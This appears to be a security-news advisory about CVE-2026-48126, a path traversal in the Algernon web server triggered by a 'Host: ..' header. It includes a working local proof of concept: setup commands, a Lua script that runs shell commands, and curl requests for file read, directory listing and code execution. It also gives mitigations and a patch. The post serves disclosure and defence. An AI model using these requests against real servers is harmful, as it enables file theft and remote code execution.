Listen to this Post
Algernon is a small, self-contained, pure-Go web server. Prior to version 1.17.8, it is vulnerable to a critical path traversal attack.
The vulnerability (CVE-2026-48126) arises when Algernon is started with the `–domain` flag (or --letsencrypt, which implicitly enables --domain). In this mode, the request handler constructs the file path to serve by joining the configured `–dir` with the client-supplied `Host` header value using `filepath.Join` without any sanitization.
An attacker can send a request with a `Host: ..` header. The `GetDomain()` function returns this value verbatim. `filepath.Join(servedir, “..”)` then resolves to the parent directory of the configured document root. This allows an unauthenticated attacker to traverse one level above the web root, leading to:
1. Arbitrary File Read: Accessing any file in the parent directory.
2. Directory Listing: Enumerating the contents of the parent directory.
3. Remote Code Execution (RCE): If a `.lua` file is present in the parent directory, the server will execute it, allowing the attacker to run arbitrary shell commands via the `run3()` function.
This vulnerability is distinct from previous issues like the `handler.lua` parent-walk (GHSA-xwcr-wm99-g9jc) or the upload `savein()` path traversal (GHSA-2j2c-pv62-mmcp).
DailyCVE Form:
Platform: ……. Algernon
Version: …….. 1.17.7 and earlier
Vulnerability :…… Path Traversal (CWE-22)
Severity: ……. Critical (8.2)
date: ………. 2026-05-26
Prediction: ……. 2026-06-02
What Undercode Say:
Analysis of the vulnerability shows a complete failure to validate user-supplied input used in file system operations.
The vulnerable code path in engine/handlers.go (line ~531)
servedir = filepath.Join(servedir, utils.GetDomain(req))
utils/web.go GetDomain() returns the Host header verbatim
func GetDomain(req http.Request) string {
host, _, err := net.SplitHostPort(req.Host)
if err != nil {
return req.Host // < Vulnerable point: returns ".."
}
return host
}
The `–letsencrypt` flag, which is the recommended way to enable HTTPS, silently enables this insecure `–domain` mode, making production deployments vulnerable without the operator’s explicit knowledge.
Exploit:
The following Proof of Concept (PoC) demonstrates the attack.
1. Setup Environment:
Build the vulnerable version
git clone https://github.com/xyproto/algernon
cd algernon
go build -o /tmp/algernon .
Create a test environment
WORK=$(mktemp -d)
mkdir -p $WORK/site
echo '
<h1>public</h1>
' > $WORK/site/index.html
echo 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt
cat > $WORK/pwn.lua <<'LUA'
print("=== RCE ===")
local out, err, code = run3("id; uname -a")
for _,v in ipairs(out) do print(" "..v) end
LUA
Run the vulnerable server
/tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit &
2. Exploit Commands:
1. Arbitrary File Read curl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt 2. Parent Directory Listing curl -H 'Host: ..' http://127.0.0.1:7799/ 3. Remote Code Execution (via Lua) curl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua
Protection:
To protect against CVE-2026-48126, the following measures are recommended:
1. Upgrade: The primary and most effective mitigation is to upgrade to Algernon version 1.17.8 or later.
2. Input Validation: If upgrading is not immediately possible, implement a patch to reject `Host` headers containing .., /, or \. A suggested fix in `engine/handlers.go` is:
if addDomain {
domain := utils.GetDomain(req)
if domain == "" || strings.ContainsAny(domain, "/\") || strings.Contains(domain, "..") {
w.WriteHeader(http.StatusBadRequest)
return
}
servedir = filepath.Join(servedir, domain)
}
3. Allow-listing: A more robust fix is to constrain the domain lookup to an allow-list of known domains (e.g., the `certMagicDomains` list).
Impact:
- Confidentiality: An unauthenticated attacker can read arbitrary files from the parent directory of the web root, potentially exposing sensitive configuration, source code, or data.
- Integrity: An attacker can list the contents of the parent directory, aiding in further attacks.
- Availability: Through the Lua RCE vector, an attacker can execute arbitrary shell commands with the privileges of the Algernon process, leading to a complete system compromise.
- Scope: This vulnerability is particularly critical in multi-tenant or production deployments where `–letsencrypt` is used, as it silently enables the vulnerable `–domain` mode. In canonical `–prod` setups, the parent directory (
/srv) often contains shared scripts and configuration files, making the attack surface even larger.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

